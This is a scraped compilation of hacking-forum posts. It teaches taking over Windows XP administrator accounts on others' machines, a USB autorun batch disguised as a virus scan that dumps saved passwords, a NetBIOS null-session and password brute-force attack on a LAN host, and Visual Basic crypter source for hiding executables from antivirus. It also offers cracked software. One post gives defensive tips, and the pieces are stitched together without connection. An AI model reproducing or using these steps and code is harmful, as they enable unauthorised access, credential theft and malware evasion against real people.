Hack admin or administrator account in windows XP

Hello friends, welcome back today i am going to share with you all possible ways to hack admin or administrator account in windows XP. Today i will explain how to hack admin or administrator account in just 2 minutes. So guys get ready to hack your friends systems in 2 minutes.
Most of times specially in our college we don't have the access to the admin account, now suppose you want to install a software on that system. What you will do now? Ask the admin to enter the password for you or simply hack it by yourself. I will tell you frankly that i have never opted method one in my life. Whenever i need administrator right i have hacked it but guys don't do it like that ways because i got suspended from lab twice for doing that.



There are four ways to hack the admin password:
1. Simply accessing Unprotected Administrator Account.
2. Hacking Through Net User Command.
3. Hacking Using the ERD(Emergency Rescue Disk)  Commander.
4. Resetting admin password using Ubuntu Live CD or DVD.

Lets start from the first technique to hack the admin or administrator password..

1. Simply Accessing the Unprotected Admin or Administrator account.

 How this hack works ? When we install windows XP on our system we usually rename the username as our name or some other keyword. But windows always creates the administrator account whenever we set up windows XP. So when you create your user account during install , windows creates two accounts that is one is your username account and other is Administrator account. But the main thing is that you will only see the account with your username and the Administrator account is hidden but its there and you can easily access that using the following steps:
Step1: Start your computer.
Step2: Now let it start until the windows user's username appears as shown in snapshot below...


Step3: As This Window Appears Press Ctrl+Alt +Delete (2 times).. Now the Windows like shown below appears..



Step4: Now as shown above Enter the Administrator on the Username box and press enter... Now you will be login in the admin account can easily rest the password...

 For Resetting password you can follow two Procedures..
Procedure 1: Goto Start --> Control Panel --> User Accounts.. Now select the account whose password u want to reset.
Procedure 2 : Follow the Next method i.e hacking password through Net User Command.

Note: Hack 1 will only work if Administrator(default) is unsecured i.e User as some other username like above shown figure...


2. Hacking admin or administrator account using net user command
Note: This will work only when user has access of user account or some how he has been allowed  or working in admin account.

Steps to hack admin account:
Step1: Goto the Start and click on Run and Type cmd and press enter ...
Step 2: Now type "net user" in the command prompt to obtain the All accounts on that computer.. as shown in figure..




Step 3: Now Select the account Which u want to Reset the Password...
Suppose that we want to Reset the Password  of Administrator...
Now Type "net user Administrator *  " Without quotes... and press Enter. As shown in the Below Figure..



Step 4: Now after that press Enter Twice to rest the password. Now Next time u open that Account .. It will not require any Password..


3. Hacking admin account using ERD commander (100% working hack)
This hack has no restrictions , using this hack you can hack each and every computer.

First of all Download the ERD(Emergency Rescue Disk)  commander... Extract the Files and Make a CD...
DOWNLOAD

STEPS INVOLVED :
1. Insert the ERD Commander Boot CD into the drive and restart the system
2. Boot the computer using ERD Commander Boot CD. You may have to set the boot order in the BIOS first.
3. Select your Windows XP installation from the list as shown.



4. From the ERD Commander menu (Start menu), click System Tools and click Locksmith


5. Click Next



6. Select the administrator account from the list for which you want to reset the password.


7. Type the new password in both the boxes, click Next and click Finish



8 . Restart The System and take the CD out of the Drive..And Enjoy Admin account...

Method 4: Resetting windows password using Ubuntu Live CD or DVD
For this hack you will require the Ubuntu Live CD.

Steps involved :
Insert Ubuntu Live CD and boot from it.
Open terminal and install chntpw in Ubuntu. To do so use the following commands.
sudo apt-get update
sudo apt-get install chntpw
Now mount your Windows volume. In my case it was dev/sda1. Replace it with yours.
sudo mkdir /media/WINDOWS
sudo mount /dev/sda1 /media/WINDOWS
Now navigate to the Windows configuration folder.
cd /media/WINDOWS/WINDOWS/system32/config/
To reset the administrator password enter
sudo chntpw SAM
After completing this command you will see 5 different choices. Select the 1st one and press Enter and its done.
Now restart your system, it will not ask any password. 
The basic idea is to have a good army of ANTI's to protect yourself. You will need the following tools

1-Anti Malware- There are two recommendation that I would give. Both of them are free, do a great job and both run on your demand.

SUPER ANTISPYWARE
MALWARE BYTES-ANTI MALWARE

2-Anti Virus-Virus no matter how powerful your system is. Even free ones would do. Below is the list of free topline Anti-Virus.

AVIRA ANTI VIRUS-PERSONAL
AVAST
CLOUD PANDA

3-Host Intrusion Prevention System:- This is also known as HIPS. It can Prevent you from unwanted intrusions like telnet acess etc. My personal recommendation is

WIN PATROL

4-Firewall:- Dont forget to run Windows Firewall. If its setup correctly it can block most unwanted intrusions. And you could also run free firewalls out there. Some of the most used ones include

COMODO FIREWALL
SUNBELT FIREWALL

5-Key Scrambler:- Use some free key scramblers to protect yourself from keylogging. And most importantly use a virtual keyboard while typing in passwords of bank logins, paypal login etc.
Some of the free ones are:-

KEY SCAMBLER PERSONAL 2.6

6-Browser Selection:- Internet browsers are personal choice. No matter whatever browser you use, never save any password.
If you want to save passwords, then use the following method:-

Download Mozilla Firefoxand install it.
Open Firefox ----> Tools ----> Options --> Security Tab.
Tick "Remember password for sites" and "Use a master password".
Type in a master password.

Now each time you goto a login page where the password is saved, it will first ask for the master password, hence protecting your password from stealers.

7-Sandboxie :- Use SANDBOXIE if you are a heavy downloader. What sandboxie does is understood from the picture below:
[Image: FrontPageAnimation.gif]


8- Use VmWare to run unkown softwares. It is similar to sandboxie.

9- Never save any password on IM clients like MSN, Yahoo, Skype etc.

10- Never save passwords on ftp clients like filezilla, smart ftp etc.

11- Never download any softwares which says poker chips creator, free PayPal money adder etc. Never believe in such softwares which dont exist. Its all fake softwares which are binded probably with a bot.

12- Never visit links which you are not sure.

13- Never accept pictures sent through IM clients where the sender in unknown.

14- Finally make sure all your windows, anti-virus, anti-malware definitions are upto date.

Hope someone will find this useful.
If I can add something else to this,please do let me know.
Be secure.
Thanks
Hello,

This will show you an easy way to steal passwords of a computer with a USB

step 1: open notepad/wordpad

type:

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save this as AUTORUN.inf

step2: open a new notepad/wordpad document

type:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start PasswordFox.exe /stext passwordfox.txt

start OperaPassView.exe /stext OperaPassView.txt

start ChromePass.exe /stext ChromePass.txt

start Dialupass.exe /stext Dialupass.txt

start netpass.exe /stext netpass.txt

start WirelessKeyView.exe /stext WirelessKeyView.txt

start BulletsPassView.exe /stext BulletsPassView.txt

start VNCPassView.exe /stext VNCPassView.txt

start OpenedFilesView.exe /stext OpenedFilesView.txt

start ProduKey.exe /stext ProduKey.txt

start USBDeview.exe /stext USBDeview.txt


save this as LAUNCH.bat

step3: copy the autorun and launch file to your USB

step4: go to http://www.nirsoft.net/
and download the programs named in step 2

step5: extract the files you downloaded to your desktop and copy all the .exe files to your USB

step6: remove and re-insert your USB

step7: click on the option " perform a virus scan"
(this is an exemple, if you want it to say something else go to the autorun file and change it ;) )

step8: go to "my computer"---> USB DRIVE and open it


you will now see some text files, if you open them you will see usernames and passwords


NOTICE: this only recovers passwords that have once been saved on your computer (if it didn't crash during the years ;))
msn passwords will not be shown because almost nobody saves those.
Today,I will write about hacking computer inside the LAN network.

This technique will be taking advantage of Port 139.

Most of the time,Port 139 will be opened.

First of all,I will do a port scanning at the target computer which is 192.168.40.128.

This computer is inside my LAN network.

I will scan it using Nmap.

[Image: 1_13.jpg]

I get the result and it shows Port 139 is opened up for me.

Now you will need both of these tools:
** USER2SID & SID2USER
** NetBios Auditing Tool

You can get both of them on the Internet.

After you get both of them,put them in the C:\ directory.

[Image: 2_1.jpg]

You now need to create a null session to the target computer.

[Image: 3_3.jpg]

Now open the Command Prompt and browse to the USER2SID & SID2USER folder.There will be 2 tools inside it,one will be USER2SID and another one will be SID2USER.

We will first using USER2SID to get the ID.

[Image: 4_10.jpg]

We will test against the Guest account because Guest account is a built in account.

After we get the ID,we need to do some modification on the ID.

We take the ID we get from the guest account and modified it become
"5 21 861567501 1383384898 839522115 500".

Please leave out the S-1-,leave out all the - too.

[Image: 5_8.jpg]

Now you will see that you get the username of the Administrator account.

In this case,the Administrator account is Administrator.

Create a text file called user.txt and the content will be the username of the Admin account.

[Image: 6.jpg]

Prepare yourself a good wordlist.

[Image: 7.jpg]

Now put both of them in the same directory with the NetBios Auditing Tool.

[Image: 8.jpg]

Now we are going to crack the Admin account for the password in order to access to the target computer.

Browse to the NetBios Auditing Tool directory.

[Image: 9_1.jpg]

Press on enter and the tool will run through the passlist.

[Image: 10.jpg]

In this case,I have get the password.

In order to proof that I can get access to the target computer using this password.

[Image: 11.jpg]

After you press enter,it will prompt you for the username and password.

[Image: 12_6.jpg]

Therefore,just input them inside the prompt and continue.

[Image: 13.jpg]

Target C drive will be on your screen.

[Image: 14.jpg]

In order to prevent from this attack,close down port that you do not want to use such as Port 135,Port 136,Port 137,Port 138 and Port 139.

The download link of the tools will be:
Download Tools.rar
All right,
You kids need to stop asking for someone else to hack your "friends" forum, your girlfriends myspace page, etc.

You want to learn to hack, stop asking stupid questions.

There is ONE tool, that was created originally to protect from hackers. Unfortunately, it's one of the best friends a hacker will ever have :

It's called Acunetix.

Acunetix is a tool that scans websites for known vulnerabilities. It will list all possible sql, xss, html injections, all java injections, all passwords and database weaknesses, all ftp weaknesses, etc. All form submissions exploits that the website can be targeted with. Remote upload and download vulnerabilities.

It will work in 80% of the cases, its database is updated regularly, but websites with latest updates and a good admin might not be targetable.

So here's the thing. Before you post anymore questions such as : "Can this website be hacked ?" or "How do I hack this forum ?", download Acunetix in the link below (I couldn't be bothered uploading a new one).

DOWNLOAD :
Acunetix Full Version HERE

PASSWORD : hf.net
(Uploaded by me, 100% clean)

Simply install it and copy the crack folder content into your Acunetix folder (replace files), and when you start the program, click on New Scan, follow the steps.

It will answer most of your questions. Take any known website, scan them and you'll find lots of little "medium risk" security problems etc. The program will explain what the potential harms are, not how to do them. The rest is up to you, do a bit of research, learn by yourself.

So use Acunetix, and stop asking stupid things that just make people think you have a pea for a brain.

Oh, and last tip : http://www.google.com is your friend. Don't forget it before you ask anything else.
WebsiteDefender is an online service that monitors your website for hacker activity, audits the security of your web site and gives you easy to understand solutions to keep your website safe. With WebsiteDefender you can:

  • Detect Malware present on your website
  • Audit your web site for security issues
  • Avoid getting blacklisted by Google
  • Keep your web site content & data safe
  • Get alerted to suspicious hacker activity
It has an easy to user interface, it picks up all kinds of issues such as malware, reverse shells like c99, obvious stuff like outdated Plugins and WordPress core, weak passwords, bad configurations (including .htaccess config) and much more.
WebsiteDefender
Each alert is well explained and will help you to solve any issues the system finds on your blog/site.
WebsiteDefender
The great value with this for me is once you are subscribed, you will be automatically alerted of new issues by email as and when they occur. This will help you keep your website secure and will let you know immediately if any issues develop.
They’ve even released two WordPress plugins which you can find here:
WP Security Scan & Secure WordPress
You can check out the website here and sign up for a free account to test it out:
http://www.websitedefender.com/
They are on Twitter too @WebsiteDefender & Facebook.


















How To Make a crypter ?

 What you will need:
Visual Basic 6 or Visual Basic 6 Portable
 A RC4 module
 A brain

 The RC4 module and Visual Basic 6 Portable will have the download links at the end of this tutorial.

TABLE OF CONTENTS:
 1. Introduction
 2. Building your crypter
 3. Conclusion

1. Introduction

RC4:
 In cryptography, RC4 (also known as ARCFOUR or ARC4 meaning Alleged RC4, see below) is the most widely used stream cipher and is used in protocols such as Secure Sockets Layer (SSL) (to protect Internet traffic) and WEP (to secure wireless networks).

Stub:
 A method stub or simply stub in software development is a piece of code used to stand in for some other programming functionality. A stub may simulate the behavior of existing code (such as a procedure on a remote machine) or be a temporary substitute for yet-to-be-developed code. Stubs are therefore most useful in porting, distributed computing as well as general software development and testing.

Builder:
 A builder is usually the client to make/do something to a file, and it is supposed to go with a stub. The builder usually allows the stub to simulate the behaivor of existing code, and than it makes the file/does something to a file.

2. Building your crypter.

 Now, open up Visual Basic 6 or Visual Basic Portable. To make the task easier, open two Visual Basic 6 programs. One is going to be the builder, and one is going to be the stub.

 Now, lets start on the builder. Add a RC4 module, and lets go on. First of all, add one label that says "File Path:", a text box right beside "File Path:", a button that says "Browse" or "...", and another button that says "Crypt" or "Build". Now, lets add the CommonDialog control. Add a CommonDialog and name it commondlg. Now, lets double click the button that says "Browse" or "...". Add this code, and I'll explain it.


Code:
With commondlg 'CommonDialog1.
      .Filter = "Executable files | *.exe" 'The file used for crypting. (*.exe)
      .DialogTitle = "Please select a executable file..." 'The title of the dialog.
      .ShowOpen 'Show the dialog.
      End With
      TextBox1.Text = commondlg.FileName 'Make TextBox1.Text as the selected filename.

 The With commondlg command calls CommonDialog1.
 The .Filter part allows you to choose what files you only want to be selected.
 The .DialogTitle command is the title of the dialog (the prompt that tells you which file you want to select for crypting).
 The .ShowOpen command shows the dialog.
End With will end CommonDialog1.
 And finally, the TextBox1.Text = commondlg.FileName command makes TextBox1.text show the selected filename.

 Now, click the button that says "Build" or "Crypt". Add this code. It explains it, so please take time to read what it says.
Code:
Dim sStub As String, sFile As String 'This command will declare the two strings.
 Open App.Path & "\stub.exe" For Binary As #1 'Opens up the stub.
 sStub = Space(LOF(1)) 'This declares the space.
 Get #1, , sStub 'This puts in a space in the file.
 Close #1 'This closes the file.

 Open TextBox1.Text For Binary As #1 'Opens up the stub.
 sFile = Space(LOF(1)) 'This declares the space.
 Get #1, , sFile 'This puts a space in the file.
 Close #1 'This closes the file.

 Open App.Path & "\output.exe" For Binary As #1 'This creates the crypted file as "output.exe".
 Put #1, , sStub & FileSplit & RC4(sFile, Pass) 'This adds the option FileSplit and the RC4 option.
 Close #1 'This closes the file.

 MsgBox ("File crypted successfully!") 'This is the prompt to show the message that the program successfully crypted the file.

 Now, you might have an error that will show you that FileSplit and Pass is not declared. To do so, we will add the declarations on the top of the coding.

Code:
Const FileSplit = "<@#@>" 'The file split.
 Const Pass = "s0rasRC4Tutorial" 'The RC4 password.

 For this tutorial, we will be using "s0rasRC4Tutorial" as the RC4 password.

 Now, lets start on the stub. Add the RC4 module, and make a new module called modMain. Add this code in modMain:
Code:
Const FileSplit = "<@#@>" 'The file split.
 Const Pass = "s0rasRC4Tutorial" 'The RC4 password; It must be the same as the one on the builder!

 Public Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpszOp As String, ByVal lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As String, ByVal FsShowCmd As Long) As Long 'Calls the ShellExecute command.

 Public Sub Main() 'The main part of the stub.
 Dim sStub As String, sFile As String 'This will declare the strings again, just like we did on the builder.
 Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Opens up the selected .exe file.
 sStub = Space(LOF(1)) 'This will declare the space.
 Get #1, , sStub 'This puts a space in the file.
 Close #1 'This closes the file.

 sFile = Split(sStub, FileSplit)(1) 'This will split the file and the stub.
 Open Environ("tmp") & "\decrypted.exe" For Binary As #1 'This will make a decrypted file in the RC4 folder.
 Put #1, , RC4(sFile, Pass) 'This will add the RC4 password to the file with the selected RC4 password.

 Call ShellExecute(0, vbNullString, Environ("tmp") & "\decrypted.exe", vbNullString, vbNullString, 1) 'Calls the ShellExecute command and drops the decrypted file in the temporary files folder.

 End Sub 'This ends "Public Sub Main()".

 The code will be teaching you. Once you're done, remove the Form1.

3. Conclusion
 I hope you liked this tutorial, and I hope you learned a lot about crypting with RC4!

 Visual Basic 6 Portable: http://www.mediafire.com/?tgicg4hn1n5
 RC4 module: http://www.freevbcode.com/ShowCode.asp?ID=4398
top